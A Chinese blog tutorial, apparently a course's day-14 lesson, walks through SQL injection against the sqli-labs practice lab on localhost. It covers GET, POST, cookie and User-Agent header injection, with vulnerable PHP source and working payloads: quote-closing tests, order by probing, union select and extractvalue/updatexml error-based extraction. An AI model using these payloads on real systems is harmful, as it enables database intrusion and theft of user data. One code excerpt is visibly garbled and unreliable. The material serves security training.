第14天:WEB漏洞-SQL注入之类型及提交注入

在这里插入图片描述

  • 简要明确参数类型
    数字,字符,搜索,JsoN等
  • 简要明确请求方法
    GET, POST,COOKIE,REQUEST,HTTP头等
  • 其中sql语句干扰符号: ',",s,),}等,具体需看写法
  • GET请求使用 --+ 将后面的代码注释不执行
  • POST请求使用 #将后面的代码注释不执行

1、字符型参数注入测试

sqlilabs less 5

在SQL语句中参数的用单引号标记
注入点数据类型为字符型

$sql="SELECT * FROM users WHERE id='$id'LIMIT 0,1";

完整代码如下

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-5 Double Query- Single Quotes- String</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">


<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

</font> </div></br></br></br><center>
<img src="../images/Less-5.jpg" /></center>
</body>
</html>

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
SQL执行的语句是采用了单引号 ‘’ 闭合。
我们要是直接使用?id=1 and 1=1相当于执行的是
SELECT * FROM users WHERE id='1 and 1=1' LIMIT 0,1;
是不会有任何的反应,所以?id=1 and 1=1?id=1 and 1=2返回的页面是一样的。

url?id=1 and 1=1
在这里插入图片描述
url?id=1 and 1=2
在这里插入图片描述

要绕过闭合才能正常注入
正确的报错语句为

http://127.0.0.1:8000/Less-5/?id=1’ and ‘1’=‘1
http://127.0.0.1:8000/Less-5/?id=1’ and ‘1’=‘2
http://127.0.0.1:8000/Less-5/?id=1’ and 1=1–+
http://127.0.0.1:8000/Less-5/?id=1’ and 1=2–+

?id=1' and '1'='1
在这里插入图片描述

?id=1' and '1'='2
在这里插入图片描述
在数据库中执行语句

mysql> SELECT * FROM users WHERE id='1' and '1'='1' LIMIT 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> SELECT * FROM users WHERE id='1' and '1'='2' LIMIT 0,1;
Empty set (0.00 sec)

获取字段

--+ 是将后面的代码注释不执行

http://127.0.0.1:8000/Less-5/?id=1' order by 4--+
在这里插入图片描述
在数据库中执行

mysql> SELECT * FROM users WHERE id='1' order by 4;
ERROR 2013 (HY000): Lost connection to MySQL server during query
mysql> SELECT * FROM users WHERE id='1' order by 2;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id:    73
Current database: security

+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)
sqlilabs less 6

采用双引号的方式进行了编码,绕过方法"闭合前面的引号后面采用–+注释

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

完整源代码

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-6 Double Query- Double Quotes- String</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">


<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
  	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="3"  color= "#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>
</font> </div></br></br></br><center>
<img src="../images/Less-6.jpg" /></center>
</body>
</html>

http://127.0.0.1:8000/Less-6/?id= 1'" and 1=1--+
在这里插入图片描述

http://127.0.0.1:8000/Less-6/?id= 1'" and 1=2--+
在这里插入图片描述and 1=1 返回正常, and 1=2 的返回错误,存在注入.

判断字段

http://127.0.0.1:8000/Less-6/?id= 1'" order by 4--+
在这里插入图片描述

2、POST数据提交注入测试

sqlilabs less 11

源代码

if(isset($_POST['uname']) && isset($_POST['passwd']))
{
	$uname=$_POST['uname'];
	$passwd=$_POST['passwd'];

	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'User Name:'.$uname);
	fwrite($fp,'Password:'.$passwd."\n");
	fclose($f

	// connectivity 
	@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);p);
	

uname和passwd通过POST数据提交

正常登陆页面,账号密码都为:Dumb
在这里插入图片描述

数据包在这里插入图片描述

用hackbar模拟post数据提交测试

返回页面正常
uname=admin' and 1=1#&passwd=admin&Submit=submit
在这里插入图片描述

返回页面和and 1=1不同,存在注入(账号密码admin是错误的,and 1=2 可有可无)

uname=admin' and 1=2#&passwd=admin&Submit=submit
在这里插入图片描述

判断字段

uname=admin' order by 3#&passwd=admin&Submit=submit
字段为2
在这里插入图片描述

uname=admin' and 1=2 union select database(),user()#&passwd=admin&Submit=submit
成功注入
在这里插入图片描述

3、COOKIE数据提交注入测试

sqlilabs less 20

cookie注入原理:对get传递来的参数进行了过滤,但是忽略了cookie也可以传递参数。
cookie注入的原理在于更改本地的cookie,从而利用cookie来提交非法语句。

  • 条件1:程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤
  • 条件2:条件1的基础上还需要程序对提交数据获取方式是直接request(“xxx”)的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了。
网站传递参数的方式
参数类型含义
get型一般访问网页的行为
cookie型伴随着所有访问网页的行为
post型上传文件,登陆
登陆

在这里插入图片描述

抓取数据包

我们可以抓取到两个数据包,我们需要的是有cookie的数据包

  • 无cookie在这里插入图片描述
  • 有cookie,发送到测试器
    在这里插入图片描述

在cookie中注入
返回页面正常
Cookie: uname=admin' and 1=1--+
在这里插入图片描述

返回页面异常,存在注入
Cookie: uname=admin' and 1=2--+

成功注入
Cookie: uname=admin'and 1=2 union select user(),database(),3--+在这里插入图片描述

4、HTTP头部参数数据注入测试

sqlilabs less 18

源代码

	$uagent = $_SERVER['HTTP_USER_AGENT'];
	$IP = $_SERVER['REMOTE_ADDR'];
	echo "<br>";
	echo 'Your IP ADDRESS is: ' .$IP;
	echo "<br>";
	//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

	{
	$uname = check_input($_POST['uname']);
	$passwd = check_input($_POST['passwd']);
	....
	$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
	mysql_query($insert);

源代码对uname和passwd进行了过滤,但是未给uagent和IP进行过滤,使用的SQL语句是insert语句,所以我们可以在uagent和IP中进行insert注入。

基于函数报错的注入

常用的报错函数

updatexml()MYSQL对xml文档数据进行查询和修改的XPATH函数
updatexml(xml_document,XPathstring,new_value)表名,路径(路径错误会报错),替换的值
extractvalue()MYSQL对xml文档数据进行查询XPATH函数
extractvalue(xml_document,XPathstring)表名,路径(路径错误会报错)
floor()MYSQL中用来取整的函数

修改数据包User-Agent参数进行注入

‘and extractvalue (1,concat(0x7e,(select user()),0x7e)) and’
‘and updatexml (1,concat(0x7e,(select user()),0x7e),0) and’

在这里插入图片描述

5、参数JSON数据注入测试

JSON数据格式

curl -X POST https://api.zoomeye.org/user/login -d
{
    "username": "xxx@xx.com",
    "password": "xxxx"
}

注入方式
在这里插入图片描述

注:如果是数字的可以不对 ’ 闭合如果是字符的话,需要闭合闭合。

  • 例:
    id=1 and 1=1
    id=x’ and 1=1–+
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值